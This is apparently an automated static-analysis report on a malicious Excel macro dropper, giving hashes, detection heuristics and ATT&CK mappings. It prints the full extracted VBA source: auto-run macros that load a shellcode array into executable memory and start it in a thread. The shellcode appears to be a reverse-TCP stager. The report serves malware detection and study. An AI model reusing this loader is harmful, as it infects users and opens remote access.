Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 de434b8c85fcd401…

MALICIOUS

Office (OLE)

35.5 KB Created: 2018-12-12 23:30:04 Authoring application: Microsoft Excel First seen: 2019-09-30
MD5: bbeea7c7f8bfbb4af925649b3d9a8849 SHA-1: 0dda5b51e065559de88b0d46476f138242b0ffb7 SHA-256: de434b8c85fcd401a7f15482f1af4c7bcd52e3b0bddd65762cfb8c5decdfe39d
124 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The presence of Auto_Open, Workbook_Open, and AutoOpen VBA macros, along with a reference to VirtualAlloc, strongly indicates that this Excel document is designed to execute malicious code. The ClamAV detection name 'Doc.Dropper.Valyria-6680543-0' suggests it functions as a dropper for further malicious payloads. No specific URLs or network indicators were extracted, limiting the IOCs to the detection name.

Heuristics 6

  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Dim Wlwkeono As Long, Tue As Variant, Vza As Long

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4285 bytes
SHA-256: b3e97fcf434e2dd879cf26314080efd2751142abdabd625c855ae5c5f633318e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Xbtt As Long, ByVal Jah As Long, ByVal Pwnufdcij As LongPtr, Jti As Long, ByVal Dnktxjkux As Long, Tqy As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Brdccya As Long, ByVal Cbvvzal As Long, ByVal Dwgquv As Long, ByVal Wgwjqcr As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Ilwhw As LongPtr, ByRef Vbnnh As Any, ByVal Nwaf As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Xbtt As Long, ByVal Jah As Long, ByVal Pwnufdcij As Long, Jti As Long, ByVal Dnktxjkux As Long, Tqy As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Brdccya As Long, ByVal Cbvvzal As Long, ByVal Dwgquv As Long, ByVal Wgwjqcr As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Ilwhw As Long, ByRef Vbnnh As Any, ByVal Nwaf As Long) As Long
#End If

Sub Auto_Open()
    Dim Wlwkeono As Long, Tue As Variant, Vza As Long
#If VBA7 Then
    Dim Vcczrqyev As LongPtr, Hdrjhx As LongPtr
#Else
    Dim Vcczrqyev As Long, Hdrjhx As Long
#End If
    Tue = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 51, 50, 0, 0, 104, 119, 115, 50, 95, 84, 104, 76, 119, 38, 7, 137, 232, 255, 208, 184, 144, 1, 0, _
0, 41, 196, 84, 80, 104, 41, 128, 107, 0, 255, 213, 106, 10, 104, 192, 168, 112, 128, 104, 2, 0, 1, 187, 137, 230, 80, 80, 80, 80, 64, 80, 64, 80, 104, 234, 15, 223, 224, 255, 213, 151, 106, 16, 86, 87, 104, 153, 165, 116, 97, 255, 213, 133, 192, 116, 10, 255, 78, 8, 117, 236, 232, 103, 0, 0, 0, 106, 0, 106, 4, 86, 87, 104, 2, 217, 200, 95, 255, 213, _
131, 248, 0, 126, 54, 139, 54, 106, 64, 104, 0, 16, 0, 0, 86, 106, 0, 104, 88, 164, 83, 229, 255, 213, 147, 83, 106, 0, 86, 83, 87, 104, 2, 217, 200, 95, 255, 213, 131, 248, 0, 125, 40, 88, 104, 0, 64, 0, 0, 106, 0, 80, 104, 11, 47, 15, 48, 255, 213, 87, 104, 117, 110, 77, 97, 255, 213, 94, 94, 255, 12, 36, 15, 133, 112, 255, 255, 255, 233, 155, _
255, 255, 255, 1, 195, 41, 198, 117, 193, 195, 187, 240, 181, 162, 86, 106, 0, 83, 255, 213)

    Vcczrqyev = VirtualAlloc(0, UBound(Tue), &H1000, &H40)
    For Vza = LBound(Tue) To UBound(Tue)
        Wlwkeono = Tue(Vza)
        Hdrjhx = RtlMoveMemory(Vcczrqyev + Vza, Wlwkeono, 1)
    Next Vza
    Hdrjhx = CreateThread(0, 0, Vcczrqyev, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub



Attribute VB_Name = "Hoja1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Hoja2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Hoja3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.